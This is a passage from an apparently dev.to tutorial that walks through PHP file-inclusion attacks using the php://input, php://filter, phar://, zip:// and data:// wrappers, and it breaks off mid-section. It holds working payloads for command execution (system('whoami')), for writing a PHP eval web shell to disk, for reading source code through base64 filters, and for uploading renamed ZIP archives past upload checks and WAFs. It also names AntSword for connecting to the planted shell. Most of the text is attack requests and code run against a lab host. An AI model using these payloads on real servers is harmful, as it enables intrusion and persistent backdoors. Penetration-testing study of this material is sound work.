&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;fileinclude.php?file=php://input
# POST body:
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nb"&gt;phpinfo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi0uhfk9iah8vmqmreppt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi0uhfk9iah8vmqmreppt.png" alt=" " width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h5&gt;
  
  
  Note: Bypassing &lt;code&gt;file_get_contents()&lt;/code&gt; with &lt;code&gt;php://input&lt;/code&gt;
&lt;/h5&gt;

&lt;p&gt;When encountering &lt;code&gt;file_get_contents()&lt;/code&gt;, consider using &lt;code&gt;php://input&lt;/code&gt; to bypass restrictions, as PHP pseudo-protocols can also handle HTTP, allowing POST data transfer.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;file_get_contents()&lt;/code&gt; returns the entire file content as a string. If a string is passed directly as a parameter, it may cause an error, but if the string contains an HTTP URL, it behaves like &lt;code&gt;curl&lt;/code&gt; and reads the source code. PHP pseudo-protocols recognise the HTTP protocol, so &lt;code&gt;php://input&lt;/code&gt; can read POST data to assign values to parameters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Test code:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"php://input"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp6giqctq4cl9i7t31iiq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp6giqctq4cl9i7t31iiq.png" alt=" " width="799" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  php://input (Command Execution)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;allow_url_include = On&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;fileinclude.php?file=php://input
# POST body:
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'whoami'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5qke8uoppgrjr2qqn6xi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5qke8uoppgrjr2qqn6xi.png" alt=" " width="799" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  php://input (Writing a Trojan)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;allow_url_include = On&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;fileinclude.php?file=php://input
# POST body:
&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="na"&gt;php&lt;/span&gt; &lt;span class="na"&gt;fputs&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="na"&gt;fopen&lt;/span&gt;&lt;span class="err"&gt;('&lt;/span&gt;&lt;span class="na"&gt;hack.php&lt;/span&gt;&lt;span class="err"&gt;','&lt;/span&gt;&lt;span class="na"&gt;w&lt;/span&gt;&lt;span class="err"&gt;'),'&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;');?&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After execution, the web shell is created in the same directory:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fga3vehsx4zzioic6wq4m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fga3vehsx4zzioic6wq4m.png" alt=" " width="721" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using a shell management tool (e.g., AntSword), the connection succeeds.&lt;/p&gt;

&lt;h4&gt;
  
  
  php://filter
&lt;/h4&gt;

&lt;p&gt;A meta-wrapper designed for filtering applications when streams are opened. It reads and writes local disk files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_include&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;php://filter/read&lt;span class="o"&gt;=&lt;/span&gt;convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;index.php
&lt;span class="c"&gt;# Alternative:&lt;/span&gt;
fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;php://filter/convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;index.php
&lt;span class="c"&gt;# (The second is shorter and may bypass some WAFs)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By specifying a file at the end, the source code (base64-encoded) can be read and then decoded. Although direct shell access may not be obtained, reading sensitive files is still harmful.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fryxszy3lisu5ptc8w9yi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fryxszy3lisu5ptc8w9yi.png" alt=" " width="799" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The string &lt;code&gt;PD9waHAKZWNobyAiSGVsbG8gV29ybGQiOwo/Pg==&lt;/code&gt; decodes to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hello World"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  phar://
&lt;/h4&gt;

&lt;p&gt;This pseudo-protocol extracts archive files. Regardless of the file extension, it is treated as a compressed archive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PHP version &amp;gt;= 5.3.0&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_include&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Create a file &lt;code&gt;phpinfo.php&lt;/code&gt; with content &lt;code&gt;&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/code&gt; and pack it into a ZIP archive:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9795lc6diut492bvy781.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9795lc6diut492bvy781.png" alt=" " width="800" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Specify the absolute path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;phar://D:/phpStudy/PHPTutorial/WWW/test.zip/phpinfo.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or use a relative path (if &lt;code&gt;test.zip&lt;/code&gt; is in the same directory as &lt;code&gt;fileinclude.php&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;phar://test.zip/phpinfo.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft63zlmspnmb3yacl6wol.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft63zlmspnmb3yacl6wol.png" alt=" " width="800" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;test.zip&lt;/code&gt; must be a ZIP archive; other formats (RAR, 7z) do not work. However, the file extension can be changed to e.g., &lt;code&gt;test.jpg&lt;/code&gt; or &lt;code&gt;test.111&lt;/code&gt;. This bypasses upload restrictions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwex09o557fr0uhl5p76c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwex09o557fr0uhl5p76c.png" alt=" " width="799" height="259"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc7gj0n4dwt70nizbz5ip.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc7gj0n4dwt70nizbz5ip.png" alt=" " width="800" height="279"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  phar:// (Command Execution)
&lt;/h4&gt;

&lt;p&gt;Same as &lt;code&gt;phar://&lt;/code&gt;, but with file content changed to &lt;code&gt;&amp;lt;?php system('whoami');?&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;
  
  
  phar:// (Writing a Trojan)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PHP version &amp;gt;= 5.3.0&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_include&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Create a web shell &lt;code&gt;shell.php&lt;/code&gt; with content &lt;code&gt;&amp;lt;?php @eval($_POST[v]);?&amp;gt;&lt;/code&gt; and pack into a ZIP archive:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsz3c5ebl8uenwde1r0xc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsz3c5ebl8uenwde1r0xc.png" alt=" " width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Absolute path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://192.168.1.4/fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;phar://D:/phpStudy/PHPTutorial/WWW/test.zip/shell.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relative path (if &lt;code&gt;test.zip&lt;/code&gt; in current directory):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://192.168.1.4/fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;phar://test.zip/shell.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After visiting the URL, the web shell is written. Then use a shell management tool (e.g., AntSword) to connect.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo7m1eglduxiglksz3xy8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo7m1eglduxiglksz3xy8.png" alt=" " width="800" height="463"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The same extension bypass applies: the archive can be renamed.&lt;/p&gt;

&lt;h4&gt;
  
  
  zip://
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;zip://&lt;/code&gt; pseudo-protocol is similar to &lt;code&gt;phar://&lt;/code&gt; but used differently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PHP version &amp;gt;= 5.3.0&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_include&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Construct a ZIP package similarly:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9795lc6diut492bvy781.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9795lc6diut492bvy781.png" alt=" " width="800" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;zip://&lt;/code&gt;, an absolute path is required. The separator between the archive and the inner file is &lt;code&gt;#&lt;/code&gt;, which must be URL-encoded as &lt;code&gt;%23&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="nv"&gt;fileinclude&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;php&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;zip:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="nv"&gt;D:&lt;/span&gt;&lt;span class="sr"&gt;/phpStudy/&lt;/span&gt;&lt;span class="nv"&gt;PHPTutorial&lt;/span&gt;&lt;span class="sr"&gt;/WWW/&lt;/span&gt;&lt;span class="nv"&gt;test&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;zip&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="nv"&gt;phpinfo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relative paths cause inclusion failure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The same extension bypass applies.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhn3bub17kv7zfdowt09f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhn3bub17kv7zfdowt09f.png" alt=" " width="799" height="241"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  zip:// (Command Execution)
&lt;/h4&gt;

&lt;p&gt;Same as &lt;code&gt;zip://&lt;/code&gt;, with file content changed to &lt;code&gt;&amp;lt;?php system('whoami');?&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  zip:// (Writing a Trojan)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PHP version &amp;gt;= 5.3.0&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_include&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Create a web shell &lt;code&gt;shell.php&lt;/code&gt; with content &lt;code&gt;&amp;lt;?php @eval($_POST[v]);?&amp;gt;&lt;/code&gt; and pack into a ZIP archive:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsz3c5ebl8uenwde1r0xc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsz3c5ebl8uenwde1r0xc.png" alt=" " width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Absolute path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="nv"&gt;http:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="mf"&gt;192.168.1.4&lt;/span&gt;&lt;span class="sr"&gt;/fileinclude.php?file=zip://D:/p&lt;/span&gt;&lt;span class="nv"&gt;hpStudy&lt;/span&gt;&lt;span class="sr"&gt;/PHPTutorial/&lt;/span&gt;&lt;span class="nv"&gt;WWW&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;test&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;zip&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="nv"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After visiting the URL, the web shell is written. Relative paths cause failure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnqkzjbzj1kdfrdqzbyez.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnqkzjbzj1kdfrdqzbyez.png" alt=" " width="800" height="272"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzxs31yjbjaivqa3aqal6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzxs31yjbjaivqa3aqal6.png" alt=" " width="800" height="540"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  data://
&lt;/h4&gt;

&lt;p&gt;A data stream wrapper that redirects the inclusion stream to user-controlled input. In simple terms, it includes the user's input stream.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PHP version &amp;gt;= 5.2&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_url_fopen = On&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_url_include = On&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique 1:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;fileinclude.php?file=data:text/plain,&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nb"&gt;phpinfo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdcsqtu9edc5awwyyj7br.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdcsqtu9edc5awwyyj7br.png" alt=" " width="800" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique 2 (Base64):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;base64&lt;/span&gt;,PD9waHAgcGhwaW5mbygpOz8%2b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;PD9waHAgcGhwaW5mbygpOz8+&lt;/code&gt; decodes to &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt;. The &lt;code&gt;+&lt;/code&gt; must be URL-encoded as &lt;code&gt;%2b&lt;/code&gt;; otherwise an error occurs.&lt;/p&gt;

&lt;h4&gt;
  
  
  data:// (Command Execution)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Technique 1:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
